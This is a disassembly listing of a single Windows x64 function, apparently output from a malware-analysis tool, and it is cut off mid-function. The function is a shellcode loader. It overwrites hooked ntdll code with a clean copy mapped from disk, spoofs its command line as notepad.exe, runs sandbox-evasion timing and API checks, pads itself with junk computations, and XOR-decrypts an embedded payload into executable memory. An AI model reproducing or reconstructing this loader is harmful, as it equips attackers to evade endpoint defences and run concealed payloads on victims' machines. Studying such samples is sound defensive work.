Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x8a0], ecx
mov qword [rbp + 0x8a8], rdx
call fcn.140002b20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x85c], 0xffffffff
mov ecx, 0x16e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
add dword [rbp + 0x85c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005608]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm1, qword [0x140005610]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movq xmm1, qword [0x140005620]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x85c], 0x2da
jle 0x1400014e5
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
jne 0x1400015f5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
je 0x1400018b0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x850]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x84e], 0
jmp 0x140001898
mov dword [rbp + 0x844], 0xfa
mov dword [rbp + 0x848], 0xfa
jmp 0x140001753
sub dword [rbp + 0x844], 1
sub dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x2c
jg 0x140001745
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001887
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84e]
add eax, 1
mov word [rbp + 0x84e], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84e], ax
jb 0x14000172f
mov dword [rbp + 0x840], 0xffffffff
mov ecx, 0x1100
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov ecx, 0x1100
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
add dword [rbp + 0x840], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x788]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x840], 0x21e
jle 0x1400018dc
mov dword [rbp + 0x834], 0
mov ecx, 0x6248
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x83c], 0
jmp 0x140001a60
mov dword [rbp + 0x838], 0
jmp 0x140001a50
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x75ca82cb
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x22c6
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x83c]
cdqe
imul rcx, rax, 0x154
mov rax, qword [rbp + 0x780]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x54
jle 0x1400019f4
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x49
jle 0x1400019e8
mov dword [rbp + 0x83c], 0
jmp 0x140001adc
mov dword [rbp + 0x838], 0
jmp 0x140001acc
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x834]
mov eax, dword [rbp + 0x83c]
cdqe
imul rdx, rax, 0x154
mov rax, qword [rbp + 0x780]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x834], eax
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x54
jle 0x140001a85
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x49
jle 0x140001a79
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x1848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x1848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x830], 0
jmp 0x140001c2a
mov dword [rbp + 0x82c], 0
jmp 0x140001c16
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x14
jle 0x140001b45
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x49
jle 0x140001b36
mov dword [rbp + 0x830], 0
jmp 0x140001d1c
mov dword [rbp + 0x82c], 0
jmp 0x140001d08
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x768]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x14
jle 0x140001c55
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x49
jle 0x140001c46
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x760]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0x564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x824], 0x158
mov dword [rbp + 0x828], 0
jmp 0x140001ea3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x748]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x824], 1
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x158
jle 0x140001e16
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x53c1a80
mov ecx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002a55
mov rax, qword [rbp + 0x740]
mov edx, 0x53c1a80
mov rcx, rax
call fcn.140003df0
mov rax, qword [rbp + 0x740]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov ecx, 0x2c1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x28f
jbe 0x140002a55
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002a55
mov rax, qword [rbp + 0x720]
mov edx, 0x59f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x71c], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002a55
mov rax, qword [rbp + 0x710]
mov edx, 0x4e3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x70c], eax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x140002a55
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x6f4], eax
cmp dword [rbp + 0x6f4], 0xffffffff
je 0x140002a55
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov ecx, 0
call rax
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0xffffffff
je 0x140002a55
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002a55
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x3000
mov r8d, 0x4a9
mov edx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140002a55
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6bc], eax
mov ecx, 0x2a4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6b8], eax
mov eax, dword [rbp + 0x6b8]
sub eax, dword [rbp + 0x6bc]
cmp eax, 0x272
jbe 0x140002a55
lea rax, [rbp + 0x110]
lea rdx, [0x140005128]
mov ecx, 0x9b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 0
mov edx, 0x4d8
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x4d8
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4d8
mov rcx, rax
call r9
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 0xffffffff
mov ecx, 0x1418
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm1, qword [0x140005608]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x81c], 0x281
jle 0x1400023a8
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0x11b733a6dabc00fa
movabs rdx, 0x9f054b94bac4a669
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x2aa021df0d963e92
movabs rdx, 0x636e11b892f65f6c
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x5f145aa38affdce
movabs rdx, 0xea3a71cd10faf98c
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xd5f7afcd1d7aa207
movabs rdx, 0x4efdf7b11591ac2f
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xf14f531d9dd9ad85
movabs rdx, 0xa68fdb81a4776095
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x56b3ab8da4798fc0
movabs rdx, 0x623c51d288cce3ac
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x4fb735fc8a0bc62b
movabs rdx, 0xe59732d34e7c0c2c
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x4275fcf386a952e5
movabs rdx, 0x2c78cbbdd5e1e9
mov qword [rbp + 0xff], rax
mov qword [rbp + 0x107], rdx
movabs rax, 0xda786935eb2d33a7
movabs rdx, 0xf38e6e06e0f43c1
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x52b89e700efac9c0
movabs rdx, 0x79558056a372dae7
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x862f0ccc7f3c3ec5
movabs rdx, 0x3b01ee44f88d17b7
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xbfb9636701c3d33
movabs rdx, 0x9a60e9d45bb51695
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xf29a60e9d45bb516
movabs rdx, 0xc98290a8ab6952
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
jmp 0x14000269c
cmp dword [rbp + 0x818], 0x47
jne 0x140002663
mov eax, dword [rbp + 0x820]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x820]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x818], 0
jmp 0x140002695
mov eax, dword [rbp + 0x820]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x820]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x818], 1
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, 0x7d
jbe 0x140002623
mov qword [rbp + 0x808], 0
mov dword [rbp + 0x810], 0x370
jmp 0x1400026d8
mov eax, dword [rbp + 0x810]
cdqe
add qword [rbp + 0x808], rax
sub dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0
jg 0x1400026c2
mov dword [rbp + 0x820], 0
jmp 0x14000278f
cmp dword [rbp + 0x814], 0x7d
jne 0x140002743
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x814], 0
jmp 0x140002788
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x4d7
jle 0x1400026f0
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x684], 0
mov ecx, 0x894
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x804], 0
jmp 0x14000284c
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x800], eax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x224
jle 0x1400027d0
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x670], rax
mov ecx, 0xf08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7fc], 0
mov dword [rbp + 0x664], 1
mov dword [rbp + 0x7f8], 0
jmp 0x14000292f
mov dword [rbp + 0x7f4], 0
jmp 0x14000291f
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7f8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x668]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x24
jle 0x1400028b9
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x19
jle 0x1400028ad
mov dword [rbp + 0x7f8], 0
jmp 0x1400029ac
mov dword [rbp + 0x7f4], 0
jmp 0x14000299c
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x7f4]
cdqe
